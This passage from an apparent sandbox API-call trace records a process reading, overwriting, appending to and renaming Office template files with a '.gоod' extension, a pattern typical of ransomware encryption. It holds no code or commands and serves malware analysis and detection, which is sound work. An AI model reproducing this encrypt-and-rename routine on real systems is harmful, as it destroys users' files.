WriteFile (in: hFile=0x478, lpBuffer=0x35be080*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x35be080*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0207.525] CloseHandle (hObject=0x478) returned 1 [0207.525] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", lpFilePart=0x0) returned 0x3e [0207.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0207.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0207.526] GetFileType (hFile=0x478) returned 0x1 [0207.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0207.526] GetFileType (hFile=0x478) returned 0x1 [0207.526] ReadFile (in: hFile=0x478, lpBuffer=0x34ec1c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x34ec1c0*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0207.558] CloseHandle (hObject=0x478) returned 1 [0207.558] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", lpFilePart=0x0) returned 0x3e [0207.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0207.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0207.558] GetFileType (hFile=0x478) returned 0x1 [0207.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0207.558] GetFileType (hFile=0x478) returned 0x1 [0207.558] WriteFile (in: hFile=0x478, lpBuffer=0x34eaf30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x34eaf30*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0207.802] CloseHandle (hObject=0x478) returned 1 [0208.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", lpFilePart=0x0) returned 0x3e [0208.349] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT.gоod", lpFilePart=0x0) returned 0x43 [0208.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0208.349] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x78121384, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7810)) returned 1 [0208.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0208.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt.gоod")) returned 1 [0208.351] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", lpFilePart=0x0) returned 0x3e [0208.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0208.352] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt"), fInfoLevelId=0x0, lpFileInformation=0x3658880 | out: lpFileInformation=0x3658880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7200)) returned 1 [0208.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0208.352] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", lpFilePart=0x0) returned 0x3e [0208.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0208.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0208.352] GetFileType (hFile=0x478) returned 0x1 [0208.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0208.352] GetFileType (hFile=0x478) returned 0x1 [0208.352] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0208.352] ReadFile (in: hFile=0x478, lpBuffer=0x3658c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3658c68*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0208.354] CloseHandle (hObject=0x478) returned 1 [0208.354] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", lpFilePart=0x0) returned 0x3e [0208.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0208.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0208.354] GetFileType (hFile=0x478) returned 0x1 [0208.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0208.354] GetFileType (hFile=0x478) returned 0x1 [0208.354] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x7200 [0208.354] WriteFile (in: hFile=0x478, lpBuffer=0x3659ee8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3659ee8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0208.355] CloseHandle (hObject=0x478) returned 1 [0209.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", lpFilePart=0x0) returned 0x3e [0209.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0209.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.268] GetFileType (hFile=0x820) returned 0x1 [0209.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0209.268] GetFileType (hFile=0x820) returned 0x1 [0209.269] ReadFile (in: hFile=0x820, lpBuffer=0x36bfeb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x36bfeb8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0209.295] CloseHandle (hObject=0x820) returned 1 [0209.295] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", lpFilePart=0x0) returned 0x3e [0209.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0209.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.295] GetFileType (hFile=0x820) returned 0x1 [0209.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0209.296] GetFileType (hFile=0x820) returned 0x1 [0209.296] WriteFile (in: hFile=0x820, lpBuffer=0x36bec28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x36bec28*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0209.296] CloseHandle (hObject=0x820) returned 1 [0209.296] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT", lpFilePart=0x0) returned 0x3e [0209.296] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT.gоod", lpFilePart=0x0) returned 0x43 [0209.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0209.296] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x78f5e718, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7210)) returned 1 [0209.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0209.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR6.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr6.xlt.gоod")) returned 1 [0209.297] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", lpFilePart=0x0) returned 0x3e [0209.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0209.297] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt"), fInfoLevelId=0x0, lpFileInformation=0x373d8f0 | out: lpFileInformation=0x373d8f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7c00)) returned 1 [0209.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0209.297] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", lpFilePart=0x0) returned 0x3e [0209.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0209.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.298] GetFileType (hFile=0x820) returned 0x1 [0209.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0209.298] GetFileType (hFile=0x820) returned 0x1 [0209.298] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0209.298] ReadFile (in: hFile=0x820, lpBuffer=0x373dcd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x373dcd8*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0209.299] CloseHandle (hObject=0x820) returned 1 [0209.299] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", lpFilePart=0x0) returned 0x3e [0209.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0209.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.300] GetFileType (hFile=0x820) returned 0x1 [0209.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0209.300] GetFileType (hFile=0x820) returned 0x1 [0209.300] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x7c00 [0209.300] WriteFile (in: hFile=0x820, lpBuffer=0x373f240*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x373f240*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0209.301] CloseHandle (hObject=0x820) returned 1 [0209.301] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", lpFilePart=0x0) returned 0x3e [0209.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0209.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.301] GetFileType (hFile=0x820) returned 0x1 [0209.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0209.301] GetFileType (hFile=0x820) returned 0x1 [0209.301] ReadFile (in: hFile=0x820, lpBuffer=0x3742a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3742a68*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0209.540] CloseHandle (hObject=0x820) returned 1 [0209.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", lpFilePart=0x0) returned 0x3e [0209.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0209.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.541] GetFileType (hFile=0x820) returned 0x1 [0209.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0209.541] GetFileType (hFile=0x820) returned 0x1 [0209.541] WriteFile (in: hFile=0x820, lpBuffer=0x34be498*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x34be498*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0209.541] CloseHandle (hObject=0x820) returned 1 [0209.541] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT", lpFilePart=0x0) returned 0x3e [0209.541] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT.gоod", lpFilePart=0x0) returned 0x43 [0209.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0209.541] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x791c0c79, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c10)) returned 1 [0209.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0209.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR7.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr7.xlt.gоod")) returned 1 [0209.542] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", lpFilePart=0x0) returned 0x3e [0209.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0209.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt"), fInfoLevelId=0x0, lpFileInformation=0x36125b8 | out: lpFileInformation=0x36125b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7400)) returned 1 [0209.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0209.543] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", lpFilePart=0x0) returned 0x3e [0209.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0209.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.543] GetFileType (hFile=0x820) returned 0x1 [0209.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0209.543] GetFileType (hFile=0x820) returned 0x1 [0209.543] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0209.543] ReadFile (in: hFile=0x820, lpBuffer=0x36129a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x36129a0*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0209.717] CloseHandle (hObject=0x820) returned 1 [0212.979] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", lpFilePart=0x0) returned 0x3e [0212.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0212.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0212.979] GetFileType (hFile=0x768) returned 0x1 [0212.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0212.980] GetFileType (hFile=0x768) returned 0x1 [0212.980] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x7400 [0212.980] WriteFile (in: hFile=0x768, lpBuffer=0x353d278*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x353d278*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0212.981] CloseHandle (hObject=0x768) returned 1 [0212.981] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", lpFilePart=0x0) returned 0x3e [0212.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0212.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0212.981] GetFileType (hFile=0x768) returned 0x1 [0212.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0212.981] GetFileType (hFile=0x768) returned 0x1 [0212.982] ReadFile (in: hFile=0x768, lpBuffer=0x353f5c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x353f5c0*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0213.091] CloseHandle (hObject=0x768) returned 1 [0213.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT", lpFilePart=0x0) returned 0x3e [0213.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0213.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR8.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr8.xlt"), 